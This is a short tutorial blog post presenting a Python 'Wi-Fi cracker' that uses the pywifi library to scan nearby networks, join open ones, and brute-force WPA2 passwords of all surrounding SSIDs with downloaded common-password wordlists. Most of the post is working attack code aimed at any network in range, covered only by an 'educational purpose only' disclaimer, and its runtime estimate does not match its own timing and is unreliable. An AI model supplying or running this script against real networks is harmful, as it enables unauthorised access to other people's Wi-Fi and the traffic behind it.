Python Mini Project — WI-FI Cracker

Raj Upadhyay
3 min readFeb 10, 2023

--

Objective : To create script that can be utilized to crack Wi-Fi around us.

You can find Final Script from below link:

Let’s build the script step by step.

Steps:

  1. starting with installation of required libraries.
  2. Getting details of “Wireless Network Adapter” connected to machine.
  3. Search all the “Wi-Fi” connections around us. (SSIDs)
  4. List all SSID
  5. Check for “Open SSID”
  6. Build/Download Common Passwords text file
  7. Implementing code that will try to search for correct password for SSID.

1. Pre-Requisites : Installation of Required Libraries

Required Libraries: pywifi, comtypes

Let’s install “pywifi” and “comtypes” library.

pip install comtypes
pip install pywifi

2. Information regarding “Wireless Network Adapter” connected to machine.”

wifi = pywifi.PyWiFi()

#Get interface information
#There will be only one Wi-Fi interface on the Laptop.
#Thus use index 0 to obtain the Wi-Fi interface.

interface = wifi.interfaces()[0]

#Get the name of the Wi-Fi interface.

print(interface.name())

3. Searching : Search all the “Wi-Fi” connections around us. (SSIDs)

interface.scan()

# Once scan() method is called one should wait for 2~8 Seconds before calling
# scan_results() method.
# Because the scan() method can take time.
# Time can be very for Each Wi-Fi Adapter.

time.sleep(5)

# Obtain the results of the previous triggered scan.
# A Profile list will be returned.

x = interface.scan_results()

4. SSIDs

available_devices = []

for i in x:
available_devices.append(i.ssid)

for j in available_devices:
print(j)

5. Check for “Open SSID”

Sometimes we may found OPEN SSID around us. we don’t require any passowrd to connect to that particular SSID. So it’s good thing to check that before attempting of password cracker script.

for i in available_devices:
nm = i
i=i.strip()
profile = pywifi.Profile()
profile.ssid = i
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_NONE)
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
iface.remove_all_network_profiles()
profile = iface.add_network_profile(profile)
iface.connect(profile)
time.sleep(4)
if iface.status() == const.IFACE_CONNECTED:
print('success password of the network',i,' is',"none")
final_output[i] = ""
available_devices.remove(nm)

Note: Remember once you run above code, all the connected network will be disconnected and you need to re-enter passwords to connect them back.

6. Password File : Download Common Passwords text file

you can utilize following links to download Common Passowrds text file.

1. https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt
2. https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt

Download text file and place it in same direcotry where your wifi cracker script it saved.

7. Exploit : Implementing code that will try to search for correct password for SSID.

try:
for i in available_devices:
profile = pywifi.Profile()
i=i.strip()
profile.ssid = i
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
flag=0
for j in keys:
j=j.strip()
profile.key = j
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
iface.remove_all_network_profiles()
profile = iface.add_network_profile(profile)

iface.connect(profile)
time.sleep(4)
if iface.status() == const.IFACE_CONNECTED:
print('success password of the network',i,' is',j)
final_output[i] = j
flag=1
break
except Exception as e:
print(e)

above code will try one by one all passwords saved in password.txt file that we downloaded in earlier step against SSID. (Note: if you have 100 passwords saved on password.txt file and around you there are 3 SSIDs then we can say approx. 20 hours to get final result)

Disclaimer: All the information provided in this article is for Educational purpose only.

--

--

Raj Upadhyay
Raj Upadhyay

Written by Raj Upadhyay

DFIR Consultant || #LoveToPlayCTF #infosec #cybersecurity #4n6